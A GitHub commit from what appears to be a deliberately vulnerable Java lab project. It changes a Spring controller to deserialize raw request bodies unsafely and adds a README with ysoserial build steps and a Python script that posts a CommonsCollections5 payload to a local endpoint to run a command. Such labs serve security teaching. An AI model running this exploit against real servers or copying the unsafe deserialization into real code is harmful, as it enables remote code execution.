Skip to content

Commit 290b66f

Browse files
committed
update deserialize
1 parent 4b75876 commit 290b66f

File tree

2 files changed

+24
-7
lines changed

2 files changed

+24
-7
lines changed

README.md

Lines changed: 20 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -63,12 +63,29 @@ Viarus
6363

6464
### 反序列化
6565

66-
利用ysoserial构造POC
66+
打包ysoserial
6767

6868
```
6969
git clone https://github.com/frohoff/ysoserial.git
7070
mvn clean package -DskipTests
71-
java -jar /Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'open /Applications/Calculator.app' > /tmp/poc
7271
```
7372

74-
访问`http://localhost:8080/deserialize/test`即可弹窗
73+
执行exp
74+
75+
```python
76+
#coding: utf-8
77+
#author: JoyChou
78+
#date: 2018.07.17
79+
80+
import requests
81+
import subprocess
82+
83+
def poc(url , gadget, command):
84+
ys_filepath = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
85+
popen = subprocess.Popen(['java', '-jar', ys_filepath, gadget, command], stdout=subprocess.PIPE)
86+
payload = popen.stdout.read()
87+
r = requests.post(url, data=payload, timeout=5)
88+
89+
if __name__ == '__main__':
90+
poc('http://127.0.0.1:8080/deserialize/test', 'CommonsCollections5', 'open -a Calculator')
91+
```

src/main/java/org/joychou/controller/Deserialize.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,13 @@
66
import org.springframework.web.bind.annotation.ResponseBody;
77

88
import javax.servlet.http.HttpServletRequest;
9-
import java.io.FileInputStream;
9+
import java.io.InputStream;
1010
import java.io.ObjectInputStream;
1111

1212
/**
1313
* @author: JoyChou
1414
* @Date: 2018年06月14日
15-
* @Desc: 该应用必须有Commons-Collections包才能利用反序列化
15+
* @Desc: 该应用必须有Commons-Collections包才能利用反序列化命令执行
1616
*/
1717

1818
@Controller
@@ -23,13 +23,13 @@ public class Deserialize {
2323
@ResponseBody
2424
public static String deserialize_test(HttpServletRequest request) throws Exception{
2525
try {
26-
ObjectInputStream in = new ObjectInputStream(new FileInputStream("/tmp/poc"));
26+
InputStream iii = request.getInputStream();
27+
ObjectInputStream in = new ObjectInputStream(iii);
2728
in.readObject(); // 触发漏洞
2829
in.close();
2930
return "test";
3031
}catch (Exception e){
3132
return "exception";
3233
}
33-
3434
}
3535
}

0 commit comments

Comments
 (0)